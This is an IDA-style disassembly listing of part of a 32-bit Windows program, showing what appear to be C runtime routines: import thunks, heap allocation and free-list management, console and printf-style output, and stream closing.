; Attributes: thunk


sub_407062	proc near		; CODE XREF: sub_401542+11p
		jmp	dword_411EA4
sub_407062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407068	proc near		; CODE XREF: sub_401567+28p
					; sub_4015B7+28p ...
		jmp	dword_411EA8
sub_407068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40706E	proc near		; CODE XREF: sub_401567+3Ap
		jmp	dword_411EAC
sub_40706E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407074	proc near		; CODE XREF: sub_4015B7+3Ap
					; sub_402B02+E5p ...
		jmp	dword_411EB0
sub_407074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40707A	proc near		; CODE XREF: sub_401607+8p
		jmp	dword_411EB4
sub_40707A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407080	proc near		; CODE XREF: sub_401621+30p
					; sub_40166C+3Fp
		jmp	dword_411EB8
sub_407080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407086	proc near		; CODE XREF: sub_40166C+5Fp
					; DMN0:00401844p ...
		jmp	dword_411EBC
sub_407086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40708C	proc near		; CODE XREF: sub_4016DC+17p
					; sub_401713+18p ...
		jmp	dword_411EC0
sub_40708C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407092	proc near		; CODE XREF: sub_401787+17p
		jmp	dword_411EC4
sub_407092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407098	proc near		; CODE XREF: sub_4017BE+8p
					; sub_4025A9+EDp ...
		jmp	dword_411EC8
sub_407098	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40709E	proc near		; CODE XREF: sub_4017BE+1Bp
		jmp	dword_411ECC
sub_40709E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070A4	proc near		; CODE XREF: DMN0:00401827p
		jmp	dword_411ED0
sub_4070A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070AA	proc near		; CODE XREF: DMN0:00401876p
		jmp	dword_411ED4
sub_4070AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070B0	proc near		; CODE XREF: DMN0:00401897p
					; sub_403113+5Cp ...
		jmp	dword_411ED8
sub_4070B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070B6	proc near		; CODE XREF: sub_402B02+142p
					; sub_403113+FCp ...
		jmp	dword_411EDC
sub_4070B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070BC	proc near		; CODE XREF: sub_402B02+1DBp
					; sub_403113+16Dp ...
		jmp	dword_411EE0
sub_4070BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070C2	proc near		; CODE XREF: sub_402B02+1E4p
					; sub_403113+176p ...
		jmp	dword_411EE4
sub_4070C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4070C8	proc near		; CODE XREF: sub_4030A4+23p
					; sub_4030A4+4Bp
		jmp	dword_411EEC
sub_4070C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4070D0	proc near		; CODE XREF: sub_401048+15p
					; DMN0:0040110Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4070F7
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_4070F7:				; CODE XREF: sub_4070D0+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4070D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407100	proc near		; CODE XREF: sub_407480+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_40712B
		call	sub_408730
		mov	dword ptr [eax], 16h
		jmp	loc_40746D
; ---------------------------------------------------------------------------


loc_40712B:				; CODE XREF: sub_407100+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_4071DB
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E8
		cmp	[esi], eax
		ja	short loc_407190
		mov	eax, dword_4111E0
		cmp	[esi], eax
		ja	short loc_407178
		mov	eax, dword_4111DC
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_40718B
; ---------------------------------------------------------------------------


loc_407178:				; CODE XREF: sub_407100+64j
		mov	eax, dword_4111E4
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_40718B:				; CODE XREF: sub_407100+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_4071C1
; ---------------------------------------------------------------------------


loc_407190:				; CODE XREF: sub_407100+5Bj
		mov	eax, dword_4111F0
		cmp	[esi], eax
		ja	short loc_4071AE
		mov	eax, dword_4111EC
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4071C1
; ---------------------------------------------------------------------------


loc_4071AE:				; CODE XREF: sub_407100+97j
		mov	eax, dword_4111F4
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4071C1:				; CODE XREF: sub_407100+8Ej
					; sub_407100+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_4071DB:				; CODE XREF: sub_407100+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_407307
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E8
		cmp	[eax], edx
		ja	short loc_40723A
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		ja	short loc_40721E
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_407235
; ---------------------------------------------------------------------------


loc_40721E:				; CODE XREF: sub_407100+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E4
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_407235:				; CODE XREF: sub_407100+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_407277
; ---------------------------------------------------------------------------


loc_40723A:				; CODE XREF: sub_407100+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		ja	short loc_407260
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407277
; ---------------------------------------------------------------------------


loc_407260:				; CODE XREF: sub_407100+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F4
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407277:				; CODE XREF: sub_407100+138j
					; sub_407100+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_4072C2
		mov	eax, [ebp+var_8]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111FC, eax
		jnz	short loc_4072F9
		jmp	short loc_4072AC
; ---------------------------------------------------------------------------


loc_4072A6:				; CODE XREF: sub_407100+1BEj
		inc	dword_4111FC


loc_4072AC:				; CODE XREF: sub_407100+1A4j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_4072C0
		cmp	eax, 7
		jl	short loc_4072A6


loc_4072C0:				; CODE XREF: sub_407100+1B9j
		jmp	short loc_4072F9
; ---------------------------------------------------------------------------


loc_4072C2:				; CODE XREF: sub_407100+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111AC[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_4072F9
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111AC[eax*4], edx


loc_4072F9:				; CODE XREF: sub_407100+1A2j
					; sub_407100:loc_4072C0j ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_407307:				; CODE XREF: sub_407100+E4j
		cmp	edi, dword_4111E8
		ja	short loc_407341
		cmp	edi, dword_4111E0
		ja	short loc_407329
		mov	eax, dword_4111DC
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_40733C
; ---------------------------------------------------------------------------


loc_407329:				; CODE XREF: sub_407100+215j
		mov	eax, dword_4111E4
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_40733C:				; CODE XREF: sub_407100+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_407371
; ---------------------------------------------------------------------------


loc_407341:				; CODE XREF: sub_407100+20Dj
		cmp	edi, dword_4111F0
		ja	short loc_40735E
		mov	eax, dword_4111EC
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407371
; ---------------------------------------------------------------------------


loc_40735E:				; CODE XREF: sub_407100+247j
		mov	eax, dword_4111F4
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407371:				; CODE XREF: sub_407100+23Fj
					; sub_407100+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_40746D
		cmp	[ebp+var_C], 0
		jl	short loc_4073F9
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_4073C8
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_4073F9
		jmp	short loc_4073B2
; ---------------------------------------------------------------------------


loc_4073AC:				; CODE XREF: sub_407100+2C4j
		inc	dword_4111FC


loc_4073B2:				; CODE XREF: sub_407100+2AAj
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_4073C6
		cmp	eax, 7
		jl	short loc_4073AC


loc_4073C6:				; CODE XREF: sub_407100+2BFj
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073C8:				; CODE XREF: sub_407100+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_4073F9
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111AC[eax*4], edx


loc_4073F9:				; CODE XREF: sub_407100+284j
					; sub_407100+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_40742F
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111AC[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111FC, eax
		jle	short loc_407438
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		jmp	short loc_407438
; ---------------------------------------------------------------------------


loc_40742F:				; CODE XREF: sub_407100+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_407438:				; CODE XREF: sub_407100+323j
					; sub_407100+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_411200, eax
		mov	dword_4111AC[eax*4], ebx


loc_40746D:				; CODE XREF: sub_407100+26j
					; sub_407100+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407480	proc near		; CODE XREF: sub_401076+Fp
					; DMN0:00401138p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004074F3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F88C
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_4074F3
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D4
		jbe	short loc_4074C0
		cmp	eax, dword_4111D0
		jb	short loc_4074C9


loc_4074C0:				; CODE XREF: sub_407480+36j
		push	ebx
		call	sub_4089C0
		pop	ecx
		jmp	short loc_4074F3
; ---------------------------------------------------------------------------


loc_4074C9:				; CODE XREF: sub_407480+3Ej
		push	0
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_407100
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4074EA
		jmp	short loc_4074F3
sub_407480	endp


; =============== S U B	R O U T	I N E =======================================



sub_4074EA	proc near		; CODE XREF: sub_407480+63p
					; DATA XREF: DMN0:0040F894o
		push	0
		call	sub_408B50
		pop	ecx
		retn
sub_4074EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407480


loc_4074F3:				; CODE XREF: sub_407480+2Bj
					; sub_407480+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407480
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407510	proc near		; DATA XREF: sub_407550+38o
					; sub_4489BB+38o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_407526
		mov	esi, [edi+4]


loc_407526:				; CODE XREF: sub_407510+11j
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407550	proc near		; CODE XREF: DMN0:004010F0p
					; DMN0:00401120p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40756C
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_40757C
; ---------------------------------------------------------------------------


loc_40756C:				; CODE XREF: sub_407550+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_40757C:				; CODE XREF: sub_407550+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407510
		call	sub_408B70
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075B0	proc near		; DATA XREF: sub_4075F0+22o
					; sub_448A5B+22o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	dword_411D98	; WriteConsoleA
		test	eax, eax
		jz	short loc_4075DE
		cmp	[ebp+var_4], esi
		jnz	short loc_4075DE
		mov	edi, ebx
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075DE:				; CODE XREF: sub_4075B0+23j
					; sub_4075B0+28j
		xor	edi, edi


loc_4075E0:				; CODE XREF: sub_4075B0+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4075B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075F0	proc near		; CODE XREF: DMN0:00401130p
					; DMN0:0040114Cp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_408DF0
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407609
		or	eax, 0FFFFFFFFh
		jmp	short loc_407621
; ---------------------------------------------------------------------------


loc_407609:				; CODE XREF: sub_4075F0+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_4075B0
		call	sub_408B70
		add	esp, 10h
		mov	esi, eax


loc_407621:				; CODE XREF: sub_4075F0+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4075F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407630	proc near		; DATA XREF: sub_407650+11o
					; sub_448ABB+11o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	ebx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_407630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407650	proc near		; CODE XREF: DMN0:004011CCp
					; sub_4025A9+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407630
		call	sub_408B70
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_40767B
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_40767B:				; CODE XREF: sub_407650+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407690	proc near		; CODE XREF: DMN0:004011F1p
					; sub_403838+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004076F4 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F898
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_408E50
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_408EB0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4076EB
		jmp	short loc_4076F4
sub_407690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4076EB	proc near		; CODE XREF: sub_407690+54p
					; DATA XREF: DMN0:0040F8A0o
		push	6
		call	sub_408B50
		pop	ecx
		retn
sub_4076EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407690


loc_4076F4:				; CODE XREF: sub_407690+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407690
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407710	proc near		; DATA XREF: sub_407740+10o
					; sub_448BAB+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_407AF0
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_407734
		mov	edi, ebx
		jmp	short loc_407736
; ---------------------------------------------------------------------------


loc_407734:				; CODE XREF: sub_407710+1Ej
		xor	edi, edi


loc_407736:				; CODE XREF: sub_407710+22j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407740	proc near		; CODE XREF: DMN0:0040120Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407710
		call	sub_408B70
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_407740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407770	proc near		; DATA XREF: sub_407790+48o
					; sub_448BFB+48o
		push	ebx
		xor	ebx, ebx


loc_407773:				; CODE XREF: sub_407770+1Cj
		mov	eax, off_411374[ebx*4]
		test	eax, eax
		jz	short loc_407785
		push	eax
		call	sub_4078F0
		pop	ecx


loc_407785:				; CODE XREF: sub_407770+Cj
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_407773
		pop	ebx
		retn
sub_407770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407790	proc near		; CODE XREF: sub_408EB0:loc_408FE4p
					; sub_409230+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004077F7 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_411060, 0
		jnz	short loc_4077E3
		mov	dword_411060, 1
		push	offset sub_407770
		call	sub_409000
		pop	ecx


loc_4077E3:				; CODE XREF: sub_407790+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4077EE
		jmp	short loc_4077F7
sub_407790	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077EE	proc near		; CODE XREF: sub_407790+57p
					; DATA XREF: DMN0:0040F8ACo
		push	6
		call	sub_408B50
		pop	ecx
		retn
sub_4077EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407790


loc_4077F7:				; CODE XREF: sub_407790+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407790
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407810	proc near		; CODE XREF: sub_4078F0+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_409030
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_407831
		mov	eax, [ebx+8]
		push	eax
		call	sub_407480
		pop	ecx


loc_407831:				; CODE XREF: sub_407810+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_40784D
		push	eax
		call	sub_4091B0
		pop	ecx
		test	eax, eax
		jz	short loc_40784D
		or	esi, 0FFFFFFFFh


loc_40784D:				; CODE XREF: sub_407810+2Dj
					; sub_407810+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_407873
		push	eax
		call	sub_407E20
		pop	ecx
		test	eax, eax
		jz	short loc_407862
		or	esi, 0FFFFFFFFh


loc_407862:				; CODE XREF: sub_407810+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_407480
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_407873:				; CODE XREF: sub_407810+42j
		test	word ptr [ebx],	80h
		jz	short loc_4078A4
		xor	edi, edi


loc_40787C:				; CODE XREF: sub_407810+89j
		cmp	ebx, off_411374[edi*4]
		jnz	short loc_407892
		mov	off_411374[edi*4], 0
		jmp	short loc_40789B
; ---------------------------------------------------------------------------


loc_407892:				; CODE XREF: sub_407810+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_40787C


loc_40789B:				; CODE XREF: sub_407810+80j
		push	ebx
		call	sub_407480
		pop	ecx
		jmp	short loc_4078DD
; ---------------------------------------------------------------------------


loc_4078A4:				; CODE XREF: sub_407810+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_4078DD:				; CODE XREF: sub_407810+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


